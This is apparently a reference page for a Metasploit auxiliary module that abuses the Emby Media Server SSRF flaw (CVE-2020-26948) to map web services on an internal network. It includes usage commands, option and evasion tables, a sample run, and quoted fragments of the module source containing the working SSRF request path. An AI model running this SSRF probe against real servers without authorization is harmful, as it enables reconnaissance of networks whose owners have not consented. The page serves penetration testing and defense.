Emby SSRF HTTP Scanner - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/http/emby_ssrf_scanner metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Emby SSRF HTTP Scanner
Module: auxiliary/scanner/http/emby_ssrf_scanner
Source code: modules/auxiliary/scanner/http/emby_ssrf_scanner.rb
Disclosure date: -
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2020-26948
Generates a GET
request to the provided web servers and
executes an SSRF against the targeted EMBY server. Returns
the server header, HTML title attribute and location header
(if set). This is useful for rapidly identifying web
applications on the internal network using the Emby SSRF
vulnerability (CVE-2020-26948).
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/http/emby_ssrf_scanner
msf auxiliary(emby_ssrf_scanner) > show options
... show and set options ...
msf auxiliary(emby_ssrf_scanner) > set RHOSTS ip-range
msf auxiliary(emby_ssrf_scanner) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(emby_ssrf_scanner) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(emby_ssrf_scanner) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(emby_ssrf_scanner) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module has been tested on Emby Media Server versions older than 4.5.
Description
Generates a GET
request to the provided web servers and executes an SSRF against the targeted EMBY server.
Returns the server header, HTML title, and location header. This is useful for rapidly identifying web applications
on the internal network using the Emby SSRF vulnerability (CVE-2020-26948).
Verification Steps
- Do:
use auxiliary/scanner/http/emby_ssrf_scanner
- Do:
set rhosts [ips]
- Do:
set emby_server [emby_server_ip]
- Do:
run
Options
PORTS
Select which ports to check for HTTP servers internal to the Emby server. Defaults to 80,8080,8081,8888
.
EMBY_SERVER
IP address of the Emby server to use. Required.
EMBY_PORT
Emby server access port. Defaults to 8096.
SHOW_TITLES
If set to false
, will not show the titles on the console as they are grabbed. Defaults to true
.
STORE_NOTES
If set to false
, will not store the captured information in notes. Use notes -t http.title
to view. Defaults to true
.
Scenarios
Emby Server (v4.4.3 on Ubuntu) - Scan Internal 192.168.2.0 Network
msf6 > use auxiliary/scanner/http/emby_ssrf_scanner
msf6 auxiliary(scanner/http/emby_ssrf_scanner) > set emby_server 10.10.200.32
emby_server => 10.10.200.32
msf6 auxiliary(scanner/http/emby_ssrf_scanner) > set rhosts 192.168.2.3
rhosts => 192.168.2.3
msf6 auxiliary(scanner/http/emby_ssrf_scanner) > run
[+] 192.168.2.3:8096 Title: Emby
[+] 192.168.2.3:8096 HTTP Code: 200
[+] 192.168.2.3:8096 Location Header:
[+] 192.168.2.3:8096 Server Header: UPnP/1.0 DLNADOC/1.50
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Go back to menu.
Msfconsole Usage
Here is how the scanner/http/emby_ssrf_scanner auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/http/emby_ssrf_scanner
msf6 auxiliary(scanner/http/emby_ssrf_scanner) > show info
Name: Emby SSRF HTTP Scanner
Module: auxiliary/scanner/http/emby_ssrf_scanner
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
Btnz
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EMBY_PORT 8096 yes Web UI port for Emby Server
EMBY_SERVER yes Emby Web UI IP to use
PORTS 80,8080,8081,8888 yes Ports to scan
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
SHOW_TITLES true yes Show the titles on the console as they are grabbed
STORE_NOTES true yes Store the information in notes.
TARGETURI / no The URI of the Emby Server
THREADS 1 yes The number of concurrent threads (max one per host)
Description:
Generates a `GET` request to the provided web servers and executes
an SSRF against the targeted EMBY server. Returns the server header,
HTML title attribute and location header (if set). This is useful
for rapidly identifying web applications on the internal network
using the Emby SSRF vulnerability (CVE-2020-26948).
References:
https://nvd.nist.gov/vuln/detail/CVE-2020-26948
https://github.com/btnz-k/emby_ssrf
Module Options
This is a complete list of options available in the scanner/http/emby_ssrf_scanner auxiliary module:
msf6 auxiliary(scanner/http/emby_ssrf_scanner) > show options
Module options (auxiliary/scanner/http/emby_ssrf_scanner):
Name Current Setting Required Description
---- --------------- -------- -----------
EMBY_PORT 8096 yes Web UI port for Emby Server
EMBY_SERVER yes Emby Web UI IP to use
PORTS 80,8080,8081,8888 yes Ports to scan
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
SHOW_TITLES true yes Show the titles on the console as they are grabbed
STORE_NOTES true yes Store the information in notes.
TARGETURI / no The URI of the Emby Server
THREADS 1 yes The number of concurrent threads (max one per host)
Advanced Options
Here is a complete list of advanced options supported by the scanner/http/emby_ssrf_scanner auxiliary module:
msf6 auxiliary(scanner/http/emby_ssrf_scanner) > show advanced
Module advanced options (auxiliary/scanner/http/emby_ssrf_scanner):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/http/emby_ssrf_scanner module can do:
msf6 auxiliary(scanner/http/emby_ssrf_scanner) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/http/emby_ssrf_scanner auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/http/emby_ssrf_scanner) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
PORTS
Here is a relevant code snippet related to the "PORTS" error message:
41:
42: def run_host(target_host)
43: # Do some checking to ensure data is submitted
44: # Also converts ports string to list
45: dports = Rex::Socket.portspec_crack(datastore['PORTS'])
46: raise Msf::OptionValidateError, ['PORTS'] if dports.empty?
47:
48: # loop through the ports
49: dports.each do |p|
50: vprint_status("Attempting SSRF with target #{target_host}:#{p}")
51: uri = "/Items/RemoteSearch/Image?ProviderName=TheMovieDB&ImageURL=http://#{target_host}:#{p}"
http://<TARGET_HOST>:<P> - No response
Here is a relevant code snippet related to the "http://<TARGET_HOST>:<P> - No response" error message:
52: # not using send_request_cgi due to difference between RHOSTS and EMBY_SERVER
53: res = Net::HTTP.get_response(datastore['EMBY_SERVER'], uri, datastore['EMBY_PORT'])
54:
55: # Check for Response
56: if res.nil?
57: vprint_error("http://#{target_host}:#{p} - No response")
58: next
59: end
60:
61: # Retrieve the headers to capture the Location and Server header
62: server_header = res['server']
<TARGET_HOST>:<P> No HTTP headers
Here is a relevant code snippet related to the "<TARGET_HOST>:<P> No HTTP headers" error message:
62: server_header = res['server']
63: location_header = res['location']
64:
65: # Check to see if the captured headers are populated
66: if server_header.nil? && location_header.nil?
67: vprint_error("#{target_host}:#{p} No HTTP headers")
68: end
69:
70: # If the body is blank, just stop now as there is no chance of a title
71: vprint_error("#{target_host}:#{p} No webpage body") if res.body.nil?
72:
<TARGET_HOST>:<P> No webpage body
Here is a relevant code snippet related to the "<TARGET_HOST>:<P> No webpage body" error message:
66: if server_header.nil? && location_header.nil?
67: vprint_error("#{target_host}:#{p} No HTTP headers")
68: end
69:
70: # If the body is blank, just stop now as there is no chance of a title
71: vprint_error("#{target_host}:#{p} No webpage body") if res.body.nil?
72:
73: # Very basic, just match the first title tag we come to. If the match fails,
74: # there is no chance that we will have a title
75: rx = %r{<title>[\n\t\s]*(?<title>.+?)[\s\n\t]*</title>}im.match(res.body.to_s)
76: unless rx
<TARGET_HOST>:<P> No webpage title
Here is a relevant code snippet related to the "<TARGET_HOST>:<P> No webpage title" error message:
72:
73: # Very basic, just match the first title tag we come to. If the match fails,
74: # there is no chance that we will have a title
75: rx = %r{<title>[\n\t\s]*(?<title>.+?)[\s\n\t]*</title>}im.match(res.body.to_s)
76: unless rx
77: vprint_error("#{target_host}:#{p} No webpage title")
78: next
79: end
80:
81: # Last bit of logic to capture the title
82: rx[:title].strip!
<TARGET_HOST>:<P> No webpage title
Here is a relevant code snippet related to the "<TARGET_HOST>:<P> No webpage title" error message:
79: end
80:
81: # Last bit of logic to capture the title
82: rx[:title].strip!
83: if rx[:title].empty?
84: vprint_error("#{target_host}:#{p} No webpage title")
85: next
86: end
87:
88: rx_title = Rex::Text.html_decode(rx[:title])
89: if datastore['SHOW_TITLES']
Go back to menu.
Related Pull Requests
References
See Also
Check also the following modules related to this module:
- auxiliary/scanner/http/emby_version_ssrf
- auxiliary/scanner/dect/call_scanner
- auxiliary/scanner/dect/station_scanner
- auxiliary/scanner/etcd/open_key_scanner
- auxiliary/scanner/http/dir_scanner
- auxiliary/scanner/http/f5_mgmt_scanner
- auxiliary/scanner/http/git_scanner
- auxiliary/scanner/http/iis_shortname_scanner
- auxiliary/scanner/http/joomla_ecommercewd_sqli_scanner
- auxiliary/scanner/http/joomla_gallerywd_sqli_scanner
- auxiliary/scanner/http/log4shell_scanner
- auxiliary/scanner/http/mod_negotiation_scanner
- auxiliary/scanner/http/nagios_xi_scanner
- auxiliary/scanner/http/rails_json_yaml_scanner
- auxiliary/scanner/http/rails_xml_yaml_scanner
- auxiliary/scanner/http/smt_ipmi_cgi_scanner
- auxiliary/scanner/http/smt_ipmi_static_cert_scanner
- auxiliary/scanner/http/svn_scanner
- auxiliary/scanner/http/svn_wcdb_scanner
- auxiliary/scanner/http/vhost_scanner
- auxiliary/scanner/http/webdav_scanner
- auxiliary/scanner/http/wordpress_ghost_scanner
- auxiliary/scanner/http/wordpress_scanner
- auxiliary/scanner/misc/oki_scanner
- auxiliary/scanner/misc/poisonivy_control_scanner
- auxiliary/scanner/misc/sercomm_backdoor_scanner
- auxiliary/scanner/rdp/rdp_scanner
- exploit/linux/http/f5_icontrol_rest_ssrf_rce
- exploit/linux/http/vmware_vrops_mgr_ssrf_rce
Authors
Btnz
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.